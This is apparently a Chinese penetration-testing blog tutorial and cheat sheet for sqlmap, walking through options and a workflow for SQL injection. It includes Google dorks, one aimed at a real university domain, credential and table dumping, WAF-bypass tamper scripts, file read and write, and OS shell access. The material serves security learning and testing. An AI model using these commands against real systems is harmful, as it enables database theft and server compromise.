SQL Injection漏洞详解--工具挖掘一(sqlmap篇)

一、Sqlmap篇

ps:Windows下未安装sqlmap的可以参考一下博文:https://blog.csdn.net/qq_38055050/article/details/79955858

1、基本参数:
-h 查看帮助
-u “”
--url “” 通过url获取目标
-r c:\1.txt                 bp读取http请求包
sqlmap.py -r C:\2.txt
-m c:\1.txt         读取链接列表

ps: inurl:jnxy.edu.cn inurl asp?id=
导入为c:\1.txt

sqlmap.py -m c:\1.txt

                        -g 处理google搜索结果中的前一百个结果

sqlmap.py -g "inurl:\"php?id=1\""
-p         参数设置成想要测试的参数
sqlmap.py -u "http://1.1.1.1/asp?id=1&sid=123&fg=df" -p "sid=123"
-s                              对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户向指定读取的文件路径,可用之
-t      这个参数需要跟一个文本文件,sqlmap会把http请求与响应的日志保存其中
sqlmap.py -u "" -t c:\1.txt
--batch 取消交互,全部默认
--charset=UTF-8                 设定字符编码
--hex 有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免
sqlmap -u "" --baner --hex
--smart 有时对多目标url进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入
--mobile                                 有时服务端只接受移动端的访问,可设定一个手机的user-agent来模仿手机登录
--is-dba         当前用户权限
--dbs 当前数据库
--current-db                 网站当前数据库
--users 所有数据库用户
--current-user                 当前数据库用户
--tables         参数,列表名
--columns 参数,列字段
--dump 参数,下载数据

--dump-all         转存DBMS数据库所有表项目

                -D         指定数据库
-T         指定表
-C         指定列
-v         显示调试信息
0--只显示python错误以及严重错误的信息
1--同时显示基本信息和警告信息(默认)
2--同时显示debug信息
3--同时显示注入的payload
4--同时显示http请求
5--同时显示http响应头

6--同时显示http响应页面 

                --dbms=mysql oracle mssql             指定数据库 
--passwords                     枚举所有用户密码
--roles             列举数据库管理员角色
--privileges                     列出数据库管理员权限
--schema --batch --exclude-sysdbs    列举数据库系统的架构

--level 测试等级,默认为1,决定加载的payload
2--cookie
3--http头
--risk 风险等级--测试的语句在xml/payloads.html 可以自行添加
1--测试大部分的测试语句
2--增加基于事件的测试语句
3--增加or语句的sql注入测试
--data 指定post提交方式的注入表单
sqlmap.py -u "" --data="username=admin"

--param-del 指定分隔符
sqlmap.py -u "" data="query=foobar;id=1" --param-del=";"


--cookie         用于cookie注入
sqlmap.py -u "" --cookie "id=9" --table --level 2
--referer         伪造http头中的referer,当level设置为3及以上时会尝试referer注入
sqlmap.py -u "" --referer "127.0.0.1/"
Parameter: kind (GET)
            Type: boolean-based blind
            Title: AND boolean-based blind - WHERE or HAVING clause

            Payload: kind=2 AND 5138=5138

                    --headers 通过headers参数来增加额外的http头
sqlmap.py -u "" --hearers "client-ip:1.1.1.1'"
sqlmap.py -u "" --hearers "x-forward-for:1.1.1.1'"
--proxy 使用代理接收数据包
sqlmap.py -u "" --current --proxy "127.0.0.1:8080"

        通过bp查看数据包

                时间控制:
--delay 设定两个http请求间的迟延
--timeout 设定一个http请求超过多久判定为超时
--retries 当超时时。设定重连次数,默认为3
sqlmap.py -u "" --delay=0.5 --current-db 0.5秒访问一次
sqlmap.py -u "" --timeout=10 
绕过安全策略:当sqlmap进行探测或注入时,可能会出发waf上屏蔽所有请求的策略,绕过方法以下
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-ferq 提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接
        --identity-waf 识别waf

        --check-waf 探测waf

                

注册表操作:
--reg-read 读取注册表
--reg-add 写入注册表
--reg-del         删除注册表

sqlmap.py -u "" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

                      --prefix "" 在payload的前面加一些符号(闭合) 

        --suiffix"" 在payload的后面加一些符号(闭合)

                                                                                                                                                                                                     |--id=('1')--——>id=('')1 and ('1'='1')

 

例*如*:$query="select * from users where id=('".$_get['id']."')limit 0,1";
目的:id=('1 and 1=1')
方案:id=('1') and 1=1(')
sqlmap.py -u "http://1.1.1.1/asp?id=1" -p id --prefix "') --suffix "and ('1'='1"
相当于:
$query ="select * from users where id=('1')and ('1'='1')
limit 0,1";
--prefix "')" --suffix "and 1=1('"
--technique 指定sqlmap使用的探测技术
B:Boollean_based bling SQL injection         布尔型注入
            E:Error-based SQL injection 报错注入
            U:UNION query SQL injection 联合查询注入
            S:Stacked queries SQL injection         多语句查询注入
            T:Time-based blind SQL injection 延迟注入

 

                    sqlmap.py -u "" --technique=BEU

                       --union-cols 指定测试列数
sqlmap.py -u "" --union-cols=100
--union-char 指定联合查询的填充字符
union-char=1
union-char=null 默认
--second-order 二阶注入
sqlmap.py -u "http://1.1.1.1/index.php" --second-order "http://1.1.1.1/1.php"
--dump-all         获取所有数据库表的内容
--exclude-sysdbs            只获取用户数据库的表
--search -C         跟着用,分隔的列名,将会在数据库搜索指定项
  -T
  -D
--udf-inject,--share-lib 用户自定义函数,注入到响应版本mysql的插件目录中,然后执行命令(创建用户...)

--common-tables -D A 暴力破解表名
      -columns -T B -D A

2、常见类型注入

                post登录框注入:

 

sqlmap.py -u "/login.php" --data “name=1&pass=1” 指定加载表单

 

sqlmap.py -u "/login.php" --forms 自动加载表单

                搜索框注入:
sqlmap.py -r search-test.txt

伪静态注入:
sqlmap.py -u "http://1.1.1.1/index.php/view/id/40*.html" 

                延迟注入:相当于and sleep(5)
--time-sec=5
base64编码注入:
sqlmap.py -u "" base64encode.py -dbs
waf绕过注入:
sqlmap.py -u "" -v3 --dbs --batch --tamper "space2morehash.py"
sqlmap.py -u "" --os-pwn --msf-th/usr/share/metasploit-framework/
sql语句执行:
--sql-query="select @@version();"
--sql-shell
select load_file(c:\1.txt)
文件读写:当数据库为mysql,postgresql,mssql,需要管理员权限(access不支持),可以操作以下
--file-read
sqlmap.py -u "" --file-read="C:\Inetpub\wwwroot\mysql-sql\index.php"
--file-write,--file-dest
sqlmap.py -u "" --file-write="c:1.txt" --file-dest="C:\Inetpub\wwwroot\mysql-sql\index.php"
将本地1.txt导入到服务端
命令执行:mysql,mssql,postgresql,管理员权限
sqlmap.py -u "" --os-shell
写入网站绝对路径
    ipconfig

                        缓存路径:C:\Users\Administrator\.sqlmap\output\192.168.120.141

                清除缓存:--flush-session

3、sqlmap注入流程;

        sqlmap.py -u "url"

        sqlmap.py -u "" --is-dba

        sqlmap.py - "" --current-user

        sqlmap.py -u "" --dbs

         sqlmap.py -u "" --current-db

                    好吧,假设为A
sqlmap.py -u "" --tables -D A
假设有表B吧
sqlmap.py -u "" --columns -T B -D A
假设有C、D列吧

sqlmap.py -u "" --dump -C C,D -T B -D A

           SQL Injection漏洞详解--工具挖掘一(sqlmap篇)_第1张图片

SQL Injection漏洞详解--工具挖掘一(sqlmap篇)_第2张图片

             对于access和mysql<5.0,直接进入爆表名环节

sqlmap.py -u "" --tables

                sqlmap.py -u "" --dump -C admin,password -T admin

                sqlmap.py -u "" --schema --batch --exclude-sysdbs

                sqlmap.py -u "" -v 4

4、sqlmap注入总结

        基本命令详解
-u "url"    测试url(get)
-r "1.txt"  读取http请求(post)
-m "1.txt"  读取一个文档url(批量)
-g 读取谷歌搜索的信息
-----------------------------------------------
-p  指定参数
id--
username--post

--dbms 指定数据库
--batch 自动应答
-----------------------------------------------
--cookie 为了能够访问到测试的页面
--risk=3 --level=5 测试的强度
-----------------------------------------------
--dbs 注入成功后显示数据库信息

sqlmap.py -u ""     (get请求)       -p id (参数)                        --dbms="Mysql-dbs --cookie=""    --random-agent
  -r 1.txt     (post请求)     -p pass (参数)                        --dbms=""       --dbs        --random-agent
  -u ""     (get请求)   --risk=3 --level=5 (cookie注入) --dbms               --dbs        --random-agent  --cookie=""
  -r 1.txt     (post请求)    --risk=3 --level=5 (cookie注入) --dbms     --dbs        --random-agent

------------------------------------------------
即:
请求方式:post/get
注入的位置:参数/cookie
注入类型:盲/显

你可能感兴趣的:(渗透测试)